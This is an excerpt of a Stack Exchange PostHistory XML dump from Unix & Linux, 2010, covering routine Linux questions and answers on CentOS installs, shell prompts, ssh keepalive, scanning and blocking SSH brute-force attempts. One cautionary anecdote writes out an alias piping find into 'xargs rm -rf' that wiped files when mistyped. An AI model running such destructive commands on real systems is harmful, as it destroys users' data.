downloaded?&#xD;&#xA;&#xD;&#xA;However, I do not see any other option to install other than network install.&#xD;&#xA;&#xD;&#xA;Can anyone tell me where I am going wrong? I am sure it is something silly.&#xD;&#xA;&#xD;&#xA;  [1]: http://isoredirect.centos.org/centos/5/isos/x86_64/&#xD;&#xA;  [2]: http://www.techotopia.com/index.php/Performing_a_CentOS_Network_Installation&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=ePGtaqV7iC8" />
  <row Id="6329" PostHistoryTypeId="2" PostId="3016" RevisionGUID="5dc1748d-3339-4b56-9056-9a6a1738f8e2" CreationDate="2010-10-12T09:26:25.107" UserId="2249" Text="As tante said, you have to set the `$PS1`(left prompt) (and optionally `$PS2`(right prompt)).&#xD;&#xA;The best thing to do is to edit your `.bashrc` file in your home directory and add something like :&#xD;&#xA;&#xD;&#xA;    export PS1=...&#xD;&#xA;&#xD;&#xA;I will give you an additionnal [link][1] that I always find useful because there's a good list of the avalaible colors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.archlinux.org/index.php/Color_Bash_Prompt" />
  <row Id="6330" PostHistoryTypeId="5" PostId="2996" RevisionGUID="5d19177a-cb2c-4675-bf6a-c57c2388cb38" CreationDate="2010-10-12T09:34:30.357" UserId="2200" Comment="added 65 characters in body" Text="Hi, &#xD;&#xA;&#xD;&#xA;I'm having a problem in the top menu panel since a couple of days, some space has been created between some icons and I don't know how to remove it. A screendump:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Does anyone know what the reason could be for it?&#xD;&#xA;&#xD;&#xA;By the way, I'm using Ubuntu Lucid (should I ask in the ubuntu site?).&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Edited: This is how it looks like now, still one blank space, but much better (I guess it has something to do with the question from Michael's link)&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ddW4P.png&#xD;&#xA;  [2]: http://i.imgur.com/5V3m8.png&#xD;&#xA;&#xD;&#xA;Edit 2: After a reboot, the blank space was gone so solved :)" />
  <row Id="6331" PostHistoryTypeId="2" PostId="3017" RevisionGUID="43875b07-225e-482b-99e1-1d0eca579686" CreationDate="2010-10-12T09:35:02.977" UserId="1941" Text="There are three kinds of ISOs: First the DVD-ISO which is the best suited for you, I think. Then there is a set of CD images which only make sense to download if you need physical disks but don't have a DVD burner and thirdly the netinstall ISO which you seem to have downloaded. &#xD;&#xA;To find a mirror which has the DVD isos directly available for download, have a look at http://www.centos.org/modules/tinycontent/index.php?id=30&#xD;&#xA;&#xD;&#xA;A network installation means that on the ISO only the installer is included and all packages which are going to be installed are downloaded from the net during install. If you have little experience with Linux, the easiest would be to get the DVD Iso. With it, the installation is pretty easy. Then of course the techotopia.com-Link doesn't apply any more, as this only explains a network install.&#xD;&#xA;&#xD;&#xA;If you need an installation guide (again, if you use the graphical installer it is pretty self-explainable) you might have a look at the official guide for 5.2. The installation process of 5.5 should be identical to 5.2. See http://www.centos.org/docs/5/html/5.2/Installation_Guide/&#xD;&#xA;&#xD;&#xA;Finally if you run into problems and need live, interactive help, you might try the #centos channel in [freenode IRC][1]. If you can wait some minutes, of course better ask here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webchat.freenode.net/" />
  <row Id="6332" PostHistoryTypeId="2" PostId="3018" RevisionGUID="ae0dbbff-5947-41b2-a463-4f235fc56665" CreationDate="2010-10-12T09:44:35.250" UserId="2249" Text="Here's two of myt &quot;favourite&quot; moments :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**First one**&#xD;&#xA;&#xD;&#xA;One time, I had defined an alias to help me cleaning temp files :&#xD;&#xA;&#xD;&#xA;    alias clean_dir_tmp=&quot;find /tmp -maxdepth 1 -user **** | grep *** | xargs rm -rf&quot;&#xD;&#xA;&#xD;&#xA;and of course one day, when I had forget what the alias was doing I mistyped :&#xD;&#xA;&#xD;&#xA;    $ clean_dir_tmp *&#xD;&#xA;&#xD;&#xA;I think I've lost a good couple of seconds to realize what was happenning... :(&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Second one**&#xD;&#xA;&#xD;&#xA;I was working as usual with my Mac laptop and my Ubuntu desktop. When I plugged the external HD of the Mac (HFS+ filesystem) in Ubuntu, I noticed that the owner was ????? :&#xD;&#xA;my UID was different on my Mac and on my desktop so since I wanted a **nicer output with `ls -l`**, I decided to change that.&#xD;&#xA;&#xD;&#xA;So I modified the UID on the mac and launch a big `chown -R *` on the HD from Ubuntu. The only thing that I didn't know was that the HFS+ driver for linux was not stable. From this day, I hadn't been able to mount this HD on linux or on mac again...&#xD;&#xA;" />
  <row Id="6333" PostHistoryTypeId="5" PostId="3016" RevisionGUID="9c3ac2e5-3ff8-421a-990f-92c985f7c85f" CreationDate="2010-10-12T10:03:33.433" UserId="2249" Comment="added 37 characters in body" Text="As tante said, you have to set the `$PS1`(left prompt) (and optionally `$PS2`(second line prompt) or even `$RPS1` (right prompt)).&#xD;&#xA;The best thing to do is to edit your `.bashrc` file in your home directory and add something like :&#xD;&#xA;&#xD;&#xA;    export PS1=...&#xD;&#xA;&#xD;&#xA;I will give you an additionnal [link][1] that I always find useful because there's a good list of the avalaible colors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.archlinux.org/index.php/Color_Bash_Prompt" />
  <row Id="6334" PostHistoryTypeId="6" PostId="3015" RevisionGUID="9f5a1c12-de2b-4514-aeb6-f62a3513e654" CreationDate="2010-10-12T10:37:54.947" UserId="250" Comment="edited tags" Text="éinstallàécentosà" />
  <row Id="6335" PostHistoryTypeId="2" PostId="3019" RevisionGUID="4f56dcfa-410f-440e-a386-93f8fd0da386" CreationDate="2010-10-12T12:31:03.173" UserId="2252" Text="How to know the size of a directory? Including subdirectories and files." />
  <row Id="6336" PostHistoryTypeId="1" PostId="3019" RevisionGUID="4f56dcfa-410f-440e-a386-93f8fd0da386" CreationDate="2010-10-12T12:31:03.173" UserId="2252" Text="How to know the size of a directory?" />
  <row Id="6337" PostHistoryTypeId="3" PostId="3019" RevisionGUID="4f56dcfa-410f-440e-a386-93f8fd0da386" CreationDate="2010-10-12T12:31:03.173" UserId="2252" Text="édirectoryà" />
  <row Id="6339" PostHistoryTypeId="2" PostId="3021" RevisionGUID="9625e482-1ee2-4dd7-9d9f-6ddde0f31d14" CreationDate="2010-10-12T12:38:05.843" UserId="481" Text="    du -s directory_name&#xD;&#xA;&#xD;&#xA;Or to get human readable output (instead of number of bytes):&#xD;&#xA;&#xD;&#xA;    du -sh directory_name&#xD;&#xA;&#xD;&#xA;The `-s` option means that it won't list the size for each subdirectory, only the total size." />
  <row Id="6341" PostHistoryTypeId="2" PostId="3022" RevisionGUID="695aa285-a424-4229-bdaf-609dc9a95a3b" CreationDate="2010-10-12T13:36:57.440" UserId="2045" Text="I have been using xterm for all my work. I realized that the features that desktop environments like GNOME has to provide are not of much use to me. &lt;br/&gt;Now is it possible that I remove GNOME and KDE altogether and use some window manager only in run level 5 (X11) to play videos, use browser, and occasionally file manager like Nautilus. How can I do it? &lt;br/&gt; &#xD;&#xA;Is it a good idea?&lt;br/&gt;&#xD;&#xA;Which window manager would you suggest?&#xD;&#xA;&#xD;&#xA;What I have done so far: I installed [Window Maker](http://en.wikipedia.org/wiki/Window_Maker). When I rebooted, I was offered one more choice at the time of login - GNOME, KDE,  Window Maker. I chose Window Maker. It gives me multiple workspaces, customizable keyboard shortcuts, without usual desktop features like panel, notification area, desktop icons.&#xD;&#xA;&#xD;&#xA;But I have observed that whenever I launch Nautilus, the desktop background changes to the one I set on GNOME and all desktop icons are restored as they were in GNOME, though the keyboard shortcuts of Window Maker still works. But to remove GNOME background and desktop icons I have to logout and login again.&lt;br/&gt;&#xD;&#xA;How can I fix it so that launching of Nautilus does not bring GNOME background? Should I use some other file manager? " />
  <row Id="6342" PostHistoryTypeId="1" PostId="3022" RevisionGUID="695aa285-a424-4229-bdaf-609dc9a95a3b" CreationDate="2010-10-12T13:36:57.440" UserId="2045" Text="How to get rid of desktop environment and use a window manager only?" />
  <row Id="6343" PostHistoryTypeId="3" PostId="3022" RevisionGUID="695aa285-a424-4229-bdaf-609dc9a95a3b" CreationDate="2010-10-12T13:36:57.440" UserId="2045" Text="éwindowömanageràédesktopöenvironmentàénautilusà" />
  <row Id="6344" PostHistoryTypeId="2" PostId="3023" RevisionGUID="7ff02cb7-7178-407b-b514-a78859010a27" CreationDate="2010-10-12T13:43:42.623" UserId="481" Text="&gt; How can I fix it so that launching of Nautilus does not bring GNOME background?&#xD;&#xA;&#xD;&#xA;The reason that this happens is that Nautilus is not only Gnome's file manager it's also responsible for drawing Gnome's desktop. So when you start nautilus it renders you desktop because it views that as one of it's responsibilities.&#xD;&#xA;&#xD;&#xA;To disable this behavior, invoke it with the option `--no-desktop`." />
  <row Id="6345" PostHistoryTypeId="5" PostId="3023" RevisionGUID="fdd1787e-2b55-4c52-b0cc-cfa16a26fcd1" CreationDate="2010-10-12T13:51:29.597" UserId="481" Comment="added 72 characters in body" Text="&gt; How can I fix it so that launching of Nautilus does not bring GNOME background?&#xD;&#xA;&#xD;&#xA;The reason that this happens is that Nautilus is not only Gnome's file manager it's also responsible for drawing Gnome's desktop. So when you start nautilus it renders you desktop because it views that as one of it's responsibilities.&#xD;&#xA;&#xD;&#xA;To disable this behavior, invoke it with the option `--no-desktop` or set the gconf key `/apps/nautilus/preferences/show_desktop` to false." />
  <row Id="6346" PostHistoryTypeId="5" PostId="3016" RevisionGUID="7ce3997b-b36e-4374-b735-5e677a454be7" CreationDate="2010-10-12T14:54:05.953" UserId="2249" Comment="added 53 characters in body" Text="As tante said, you have to set the `$PS1`(left prompt) (and optionally `$PS2`(second line prompt)).&#xD;&#xA;&#xD;&#xA;*(Others variable exists on other shells like `$RPS1` (right prompt) for zsh)*&#xD;&#xA;&#xD;&#xA;The best thing to do is to edit your `.bashrc` file in your home directory and add something like :&#xD;&#xA;&#xD;&#xA;    export PS1=...&#xD;&#xA;&#xD;&#xA;I will give you an additionnal [link][1] that I always find useful because there's a good list of the avalaible colors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.archlinux.org/index.php/Color_Bash_Prompt" />
  <row Id="6347" PostHistoryTypeId="5" PostId="3011" RevisionGUID="f385adc1-4027-4281-b816-bcb905061c7e" CreationDate="2010-10-12T14:55:58.180" UserId="1207" Comment="added 2 characters in body; edited tags" Text="Does w3m offer a keyboard shortcut to go back one page? I couldn't find anything in the man pages." />
  <row Id="6348" PostHistoryTypeId="6" PostId="3011" RevisionGUID="f385adc1-4027-4281-b816-bcb905061c7e" CreationDate="2010-10-12T14:55:58.180" UserId="1207" Comment="added 2 characters in body; edited tags" Text="écommandölineàékeyboardöshortcutsàébrowserà" />
  <row Id="6349" PostHistoryTypeId="5" PostId="3018" RevisionGUID="e1e90b98-6968-4eca-b9de-8f1d85c84962" CreationDate="2010-10-12T15:00:40.960" UserId="2249" Comment="deleted 45 characters in body" Text="**First one**&#xD;&#xA;&#xD;&#xA;One time, I had defined an alias to help me cleaning temp files :&#xD;&#xA;&#xD;&#xA;    alias clean_dir_tmp=&quot;find /tmp -maxdepth 1 -user **** | grep *** | xargs rm -rf&quot;&#xD;&#xA;&#xD;&#xA;and of course one day, when I had forget what the alias was doing I mistyped :&#xD;&#xA;&#xD;&#xA;    $ clean_dir_tmp *&#xD;&#xA;&#xD;&#xA;I think I've lost a good couple of seconds to realize what was happenning... :(&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Second one**&#xD;&#xA;&#xD;&#xA;I was working as usual with my Mac laptop and my Ubuntu desktop. When I plugged the external HD of the Mac (HFS+ filesystem) in Ubuntu, I noticed that the owner was ????? :&#xD;&#xA;my UID was different on my Mac and on my desktop so since I wanted a **nicer output with `ls -l`**, I decided to change that.&#xD;&#xA;&#xD;&#xA;So I modified the UID on the mac and launch a big `chown -R *` on the HD from Ubuntu. The only thing that I didn't know was that the HFS+ driver for linux was not stable. From this day, I hadn't been able to mount this HD on linux or on mac again...&#xD;&#xA;" />
  <row Id="6350" PostHistoryTypeId="2" PostId="3024" RevisionGUID="dfb03adf-572c-4260-a4e7-08e629b93eb1" CreationDate="2010-10-12T15:18:03.493" UserId="250" Text="Hi Andrew,&#xD;&#xA;&#xD;&#xA;I asked a [similar question][1] once. It is definitely a good idea if you find yourself ignoring the miscellaneous tools and features that come with the desktop environment.&#xD;&#xA;&#xD;&#xA;The solution is, you don't need to install a desktop environment (or anything you don't use), just a window manager of your choice. I (also) asked [another question][2] about lightweight window managers. The summary is, if you want lots of effects go [Compiz][3], otherwise choose a lightweight one like [dwm][4].&#xD;&#xA;&#xD;&#xA;Regarding Nautilus, do you really need it or some of it features? If not then you should probably switch to something else, maybe [Thunar][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/1249/250&#xD;&#xA;  [2]: http://unix.stackexchange.com/q/1500/250&#xD;&#xA;  [3]: http://www.compiz.org/&#xD;&#xA;  [4]: http://dwm.suckless.org/&#xD;&#xA;  [5]: http://thunar.xfce.org/" />
  <row Id="6351" PostHistoryTypeId="2" PostId="3025" RevisionGUID="1191092b-7952-47cf-b0ad-fbf038c357be" CreationDate="2010-10-12T16:04:16.647" UserId="1942" Text="Platform: Linux&#xD;&#xA;&#xD;&#xA;I have several documents that I want to batch scan without autofeed.&#xD;&#xA;Basically meaning that after a scan I want to &quot;flip the page&quot; and press a button to scan the next page, in the end getting a pdf document.&#xD;&#xA;&#xD;&#xA;Suggestions for software that will do this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6352" PostHistoryTypeId="1" PostId="3025" RevisionGUID="1191092b-7952-47cf-b0ad-fbf038c357be" CreationDate="2010-10-12T16:04:16.647" UserId="1942" Text="Frontend for libsane for manual batch scans," />
  <row Id="6353" PostHistoryTypeId="3" PostId="3025" RevisionGUID="1191092b-7952-47cf-b0ad-fbf038c357be" CreationDate="2010-10-12T16:04:16.647" UserId="1942" Text="élinuxàésaneà" />
  <row Id="6354" PostHistoryTypeId="2" PostId="3026" RevisionGUID="128e6e62-3fcf-42ca-8b49-b20044f670e0" CreationDate="2010-10-12T16:11:52.720" UserId="2094" Text="I found [this question](http://unix.stackexchange.com/questions/2010/what-does-the-broken-pipe-message-mean-in-an-ssh-session), but I'm sorry I don't quite understand the settings on the two variables `ServerAliveInterval` and `ClientAliveInterval` mentioned in the accepted response.  If my local server is timing out, should I set this value to zero?  Will it then never time out?  Should I instead set it to 300 seconds or something?&#xD;&#xA;&#xD;&#xA;My question is simply, some of my connections time out when I suspend &amp; then unsuspend my laptop with the response `Write failed: Broken pipe` and some don't.  How can I correctly configure a local sshd so that they don't fail with a broken pipe?" />
  <row Id="6355" PostHistoryTypeId="1" PostId="3026" RevisionGUID="128e6e62-3fcf-42ca-8b49-b20044f670e0" CreationDate="2010-10-12T16:11:52.720" UserId="2094" Text="What does the options `ServerAliveInterval` and `ClientAliveInterval` in sshd_config do, precisely?" />
  <row Id="6356" PostHistoryTypeId="3" PostId="3026" RevisionGUID="128e6e62-3fcf-42ca-8b49-b20044f670e0" CreationDate="2010-10-12T16:11:52.720" UserId="2094" Text="ésshàéconfigurationà" />
  <row Id="6357" PostHistoryTypeId="2" PostId="3027" RevisionGUID="8d69b7e9-1190-42eb-8b47-287538c64aa6" CreationDate="2010-10-12T16:29:46.223" UserId="1416" Text="ServerAliveInterval: number of seconds that the **client** will wait before sending a null packet to the server (to keep the connection alive).&#xD;&#xA;&#xD;&#xA;ClientAliveInternal: number of seconds that the **server** will wait before sending a null packet to the client (to keep the connection alive).&#xD;&#xA;&#xD;&#xA;Setting a value of 0 (the default) will disable these features so your connection could drop if it is idle for too long.&#xD;&#xA;&#xD;&#xA;ServerAliveInterval seems to be the most common strategy to keep a connection alive. To prevent the broken pipe problem, here is the ssh config I use in my .ssh/config file:&#xD;&#xA;&#xD;&#xA;    Host myhostshortcut&#xD;&#xA;         HostName myhost.com&#xD;&#xA;         User barthelemy&#xD;&#xA;         ServerAliveInterval 60" />
  <row Id="6358" PostHistoryTypeId="2" PostId="3028" RevisionGUID="c07a4785-3dd6-4461-91fe-c0121ca72e37" CreationDate="2010-10-12T17:02:55.780" UserId="1941" Text="The standard sane frontend XSane claims to be able to do this. &#xD;&#xA;&#xD;&#xA;&gt; In the multipage mode you can collect&#xD;&#xA;&gt; several images and create a multipage&#xD;&#xA;&gt; file.  Available multipage formats are&#xD;&#xA;&gt; postscript, PDF and tiff.&#xD;&#xA;&#xD;&#xA;See the online documentation at http://www.xsane.org/doc/sane-xsane-multipage-doc.html for details on usage." />
  <row Id="6359" PostHistoryTypeId="2" PostId="3029" RevisionGUID="4a72aa52-860f-4ca2-8f84-de109e761990" CreationDate="2010-10-12T17:11:22.667" UserId="1207" Text="I believe that both [XSane][1] and [Simple Scan][2] can do this. In Simple Scan, &#xD;&#xA;&#xD;&#xA;&gt; Each page you scan is added to the end&#xD;&#xA;&gt; of your document.  To start a new&#xD;&#xA;&gt; document select Document ▸ New.&#xD;&#xA;&gt;     Individual pages can be deleted by right clicking a page or pressing the&#xD;&#xA;&gt; Delete key.&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;In my experience Simple Scan is easier to use in general, but I have not used it for this purpose specifically.&#xD;&#xA;&#xD;&#xA;If your main goal is to produce a single pdf at the end, then you can always scan each page and save each page separately with a filenames such as `document-page-01.pdf` (note that I used 01, if you have more than 9 pages, this is important in order to ensure proper sorting of the pages in the final document) then you can use [ImageMagick's][3] `convert` command to easily merge them into one document:&#xD;&#xA;&#xD;&#xA;    convert /path/to/document-page-*.pdf combined-document.pdf&#xD;&#xA;&#xD;&#xA;ImageMagick can be easily installed on every major Linux distribution. Another tool that will yield similar results is [pdftk][4] which, according to the website, uses the following syntax to merge files:&#xD;&#xA;&#xD;&#xA;    pdftk /path/to/document-page*.pdf cat output combined-document.pdf&#xD;&#xA;&#xD;&#xA;I've always used `convert` since it is a great swiss-army-knife-type tool for image files, but I'm told that pdftk is often much faster and produces better pdfs using the default settings.&#xD;&#xA;&#xD;&#xA;This is often nice for when you already have a long pdf and want to append pages to it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xsane.org/doc/sane-xsane-multipage-doc.html&#xD;&#xA;  [2]: https://launchpad.net/simple-scan&#xD;&#xA;  [3]: http://www.imagemagick.org/script/index.php&#xD;&#xA;  [4]: http://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/" />
  <row Id="6360" PostHistoryTypeId="2" PostId="3030" RevisionGUID="9e8ac62d-8b11-4120-b60e-87af13417366" CreationDate="2010-10-12T17:38:09.173" UserId="1860" Text="There are a number of different packages out there to shut out IPs from which brute-force SSH attacks are launched on your system.  For example:&#xD;&#xA;&#xD;&#xA;* [DenyHosts][1]&#xD;&#xA;* [Sshguard][2]&#xD;&#xA;&#xD;&#xA;What are the pros/cons of these, or any others?&#xD;&#xA;&#xD;&#xA;My current solution is to take the email that [logwatch][0] generates every day and dump the egregious IP addresses into a text file which I feed into a script that then rebuilds iptables.  It's hacky, time-consuming and manual, and I'd like a better way.&#xD;&#xA;&#xD;&#xA;[1]: http://denyhosts.sourceforge.net/&#xD;&#xA;[2]: http://www.sshguard.net/&#xD;&#xA;&#xD;&#xA;[0]: http://sourceforge.net/projects/logwatch/&#xD;&#xA;&#xD;&#xA;(Note that I didn't ask what was the &quot;best&quot; way to solve the problem, because there is no &quot;best&quot; way to do anything.)" />
  <row Id="6361" PostHistoryTypeId="1" PostId="3030" RevisionGUID="9e8ac62d-8b11-4120-b60e-87af13417366" CreationDate="2010-10-12T17:38:09.173" UserId="1860" Text="What are the pros/cons of the various methods to block brute force SSH attacks?" />
  <row Id="6362" PostHistoryTypeId="3" PostId="3030" RevisionGUID="9e8ac62d-8b11-4120-b60e-87af13417366" CreationDate="2010-10-12T17:38:09.173" UserId="1860" Text="ésshàésecurityà" />
  <row Id="6363" PostHistoryTypeId="5" PostId="3021" RevisionGUID="502723a9-412b-42c2-84d4-5a895f9b57d6" CreationDate="2010-10-12T17:51:45.630" UserId="481" Comment="deleted 29 characters in body" Text="    du -s directory_name&#xD;&#xA;&#xD;&#xA;Or to get human readable output:&#xD;&#xA;&#xD;&#xA;    du -sh directory_name&#xD;&#xA;&#xD;&#xA;The `-s` option means that it won't list the size for each subdirectory, only the total size." />
  <row Id="6364" PostHistoryTypeId="2" PostId="3031" RevisionGUID="9f3c9039-a5b8-44ef-baaf-d1317d5b70f7" CreationDate="2010-10-12T17:52:00.910" UserId="73" Text="I use DenyHosts, so I can at least answer for that:&#xD;&#xA;&#xD;&#xA;### Pros&#xD;&#xA;&#xD;&#xA;* It's completely automatic&#xD;&#xA;* It's configurable (how many failed attempts before blacklisting, for usernames that don't exist, usernames that do exist, and a special entry for root)&#xD;&#xA;* It can e-mail you with a list of newly blacklisted hosts periodically, and/or run a given program every time a new host is blacklisted&#xD;&#xA;* It supports automatically un-blacklisting hosts after a while&#xD;&#xA;&#xD;&#xA;### Cons&#xD;&#xA;&#xD;&#xA;I don't have any irreparable cons, as long as you use it correctly:&#xD;&#xA;&#xD;&#xA;* In its default configuration it won't alert you to newly blacklisted hosts, so if somebody is attacking your network from hundreds of different addresses you might not notice right away like you would if you're monitoring your logs manually, but (as mentioned in the pros section) it can e-mail you or run an executable to alert you when new hosts are added&#xD;&#xA;* By default it will blacklist your hosts the same as any other, so you probably want to add them to `/etc/hosts.allow`. I locked myself out once just failing at typing my password, and once somebody from work tried to login to my root account as a joke and blacklisted my work IP, and it took me a few days to figure out why I suddenly couldn't connect to my network from work anymore" />
  <row Id="6365" PostHistoryTypeId="2" PostId="3032" RevisionGUID="6d07314a-eec5-40c8-9df0-7d2636e267bc" CreationDate="2010-10-12T17:59:22.607" UserId="1416" Text="Another one is [fail2ban][1], which relies on iptables (so it works with any service, not just ssh). With fail2ban, you can:&#xD;&#xA;&#xD;&#xA; - Specify path to any log file (apache, ssh, nginx, mail server, ...).&#xD;&#xA; - Specify regex for attack patterns (e.g., more than 10 &quot;404 errors&quot; by the same ip on nginx access log in 6 seconds)&#xD;&#xA; - Specify regex to ignore certain patterns (very useful!)&#xD;&#xA; - Specify ban time&#xD;&#xA; - Send an email (or any other alert...)&#xD;&#xA; - Fully customizable (you can write your own alerts and filters)&#xD;&#xA;&#xD;&#xA;One &quot;disadvantage&quot; of DenyHosts is that it requires tcp wrappers, so it will only work with services that looks at the /etc/hosts.deny file. I think on most linux distributions, sshd uses TCP Wrappers so it works well with ssh. I also find that DenyHosts is easier to configure out of the box than fail2ban (but less powerful).&#xD;&#xA;&#xD;&#xA;[Reference to a similar SF question][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fail2ban.org/wiki/index.php/Main_Page&#xD;&#xA;  [2]: http://serverfault.com/questions/128962/denyhosts-vs-fail2ban-vs-iptables-best-way-to-prevent-brute-force-logons" />
  <row Id="6366" PostHistoryTypeId="5" PostId="3032" RevisionGUID="1e75fd6d-744e-4789-ac63-12915ba556a0" CreationDate="2010-10-12T18:04:55.047" UserId="1416" Comment="typo" Text="Another one is [fail2ban][1], which relies on iptables (so it works with any service, not just ssh). With fail2ban, you can:&#xD;&#xA;&#xD;&#xA; - Specify path to any log file (apache, ssh, nginx, mail server, ...).&#xD;&#xA; - Specify regex for attack patterns (e.g., more than 10 &quot;404 errors&quot; by the same ip on nginx access log in 6 seconds)&#xD;&#xA; - Specify regex to ignore certain patterns (very useful!)&#xD;&#xA; - Specify ban time&#xD;&#xA; - Send an email (or any other alert...)&#xD;&#xA; - Fully customizable (you can write your own alerts and filters)&#xD;&#xA;&#xD;&#xA;One &quot;disadvantage&quot; of DenyHosts is that it requires tcp wrappers, so it will only work with services that look at the /etc/hosts.deny file. But to be fair with DenyHosts, sshd is compiled to use TCP Wrappers on most Linux distributions. I also find DenyHosts to be easier to configure out of the box than fail2ban (but less powerful).&#xD;&#xA;&#xD;&#xA;[Reference to a similar SF question][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fail2ban.org/wiki/index.php/Main_Page&#xD;&#xA;  [2]: http://serverfault.com/questions/128962/denyhosts-vs-fail2ban-vs-iptables-best-way-to-prevent-brute-force-logons" />
  <row Id="6367" PostHistoryTypeId="2" PostId="3033" RevisionGUID="f41b60ca-2c82-4562-9f81-2df9dc241cf7" CreationDate="2010-10-12T18:09:27.693" UserId="446" Text="Ubuntu 10.10 comes with Perl 5.10.1 pre-installed, but strangely enough `perldoc` isn't part of the package.&#xD;&#xA;&#xD;&#xA;    $ perldoc&#xD;&#xA;    You need to install the perl-doc package to use this program.&#xD;&#xA;&#xD;&#xA;How can I make this feature available?" />
  <row Id="6368" PostHistoryTypeId="1" PostId="3033" RevisionGUID="f41b60ca-2c82-4562-9f81-2df9dc241cf7" CreationDate="2010-10-12T18:09:27.693" UserId="446" Text="How can I install perldoc?" />
  <row Id="6369" PostHistoryTypeId="3" PostId="3033" RevisionGUID="f41b60ca-2c82-4562-9f81-2df9dc241cf7" CreationDate="2010-10-12T18:09:27.693" UserId="446" Text="éperlà" />
  <row Id="6370" PostHistoryTypeId="2" PostId="3034" RevisionGUID="b334a179-fdee-4aa9-a9b5-cda90434a9e8" CreationDate="2010-10-12T18:13:49.053" UserId="73" Text="I feel a bit stupid saying it, but did you try installing [perl-doc](http://packages.ubuntu.com/maverick/perl-doc)?&#xD;&#xA;&#xD;&#xA;    $ apt-get install perl-doc&#xD;&#xA;" />
  <row Id="6371" PostHistoryTypeId="2" PostId="3035" RevisionGUID="1e78f017-58c7-4972-9d00-8cdb2de4f5b5" CreationDate="2010-10-12T18:14:34.110" UserId="481" Text="You need to install the `perl-doc` package. It tells you right there in the error message." />
  <row Id="6372" PostHistoryTypeId="2" PostId="3036" RevisionGUID="1b0aeb62-282b-406e-9f5f-601d5c45f657" CreationDate="2010-10-12T18:19:18.583" UserId="1339" Text="You should simply install the perl-doc package?&#xD;&#xA;&#xD;&#xA;Use your favorite package manager, for example synaptic or&#xD;&#xA;`sudo aptitude install perl-doc`" />
  <row Id="6373" PostHistoryTypeId="6" PostId="3033" RevisionGUID="d567d380-ba93-4a58-8edf-e5f7cb8cc40b" CreationDate="2010-10-12T18:21:42.743" UserId="481" Comment="edited tags" Text="éubuntuàéperlà" />
  <row Id="6374" PostHistoryTypeId="5" PostId="3030" RevisionGUID="155508db-2227-4a06-b088-75b4e971d0e3" CreationDate="2010-10-12T18:59:08.330" UserId="1860" Comment="added 48 characters in body" Text="There are a number of different packages out there to shut out IPs from which brute-force SSH attacks are launched on your system.  For example:&#xD;&#xA;&#xD;&#xA;* [DenyHosts][1]&#xD;&#xA;* [Sshguard][2]&#xD;&#xA;* [fail2ban][3]&#xD;&#xA;&#xD;&#xA;What are the pros/cons of these, or any others?&#xD;&#xA;&#xD;&#xA;My current solution is to take the email that [logwatch][0] generates every day and dump the egregious IP addresses into a text file which I feed into a script that then rebuilds iptables.  It's hacky, time-consuming and manual, and I'd like a better way.&#xD;&#xA;&#xD;&#xA;[1]: http://denyhosts.sourceforge.net/&#xD;&#xA;[2]: http://www.sshguard.net/&#xD;&#xA;[3]: http://www.fail2ban.org/&#xD;&#xA;&#xD;&#xA;[0]: http://sourceforge.net/projects/logwatch/&#xD;&#xA;&#xD;&#xA;(Note that I didn't ask what was the &quot;best&quot; way to solve the problem, because there is no &quot;best&quot; way to do anything.)" />
  <row Id="6375" PostHistoryTypeId="4" PostId="3033" RevisionGUID="4330326c-087a-4c21-94a1-bacea945fa60" CreationDate="2010-10-12T19:09:42.493" UserId="1207" Comment="edited tags; edited title" Text="How can I install perldoc on Ubuntu?" />
  <row Id="6376" PostHistoryTypeId="6" PostId="3033" RevisionGUID="4330326c-087a-4c21-94a1-bacea945fa60" CreationDate="2010-10-12T19:09:42.493" UserId="1207" Comment="edited tags; edited title" Text="éubuntuàéperlàésoftwareöinstallationà" />
  <row Id="6377" PostHistoryTypeId="2" PostId="3037" RevisionGUID="c0e98503-f8f7-4b29-8ac7-5bbc273cd6aa" CreationDate="2010-10-12T19:23:44.773" UserId="1974" Text="I'm looking for an easy way (a command or series of commands, probably involving `find`) to find duplicate files in two directories, and replace the files in one directory with hardlinks of the files in the other directory.&#xD;&#xA;&#xD;&#xA;Here's the situation: This is a file server which multiple people store audio files on, each user having their own folder. Sometimes multiple people have copies of the exact same audio files. Right now, these are duplicates. I'd like to make it so they're hardlinks, to save hard drive space." />
  <row Id="6378" PostHistoryTypeId="1" PostId="3037" RevisionGUID="c0e98503-f8f7-4b29-8ac7-5bbc273cd6aa" CreationDate="2010-10-12T19:23:44.773" UserId="1974" Text="Is there an easy way to replace duplicate files with hardlinks?" />
  <row Id="6379" PostHistoryTypeId="3" PostId="3037" RevisionGUID="c0e98503-f8f7-4b29-8ac7-5bbc273cd6aa" CreationDate="2010-10-12T19:23:44.773" UserId="1974" Text="éduplicateà" />
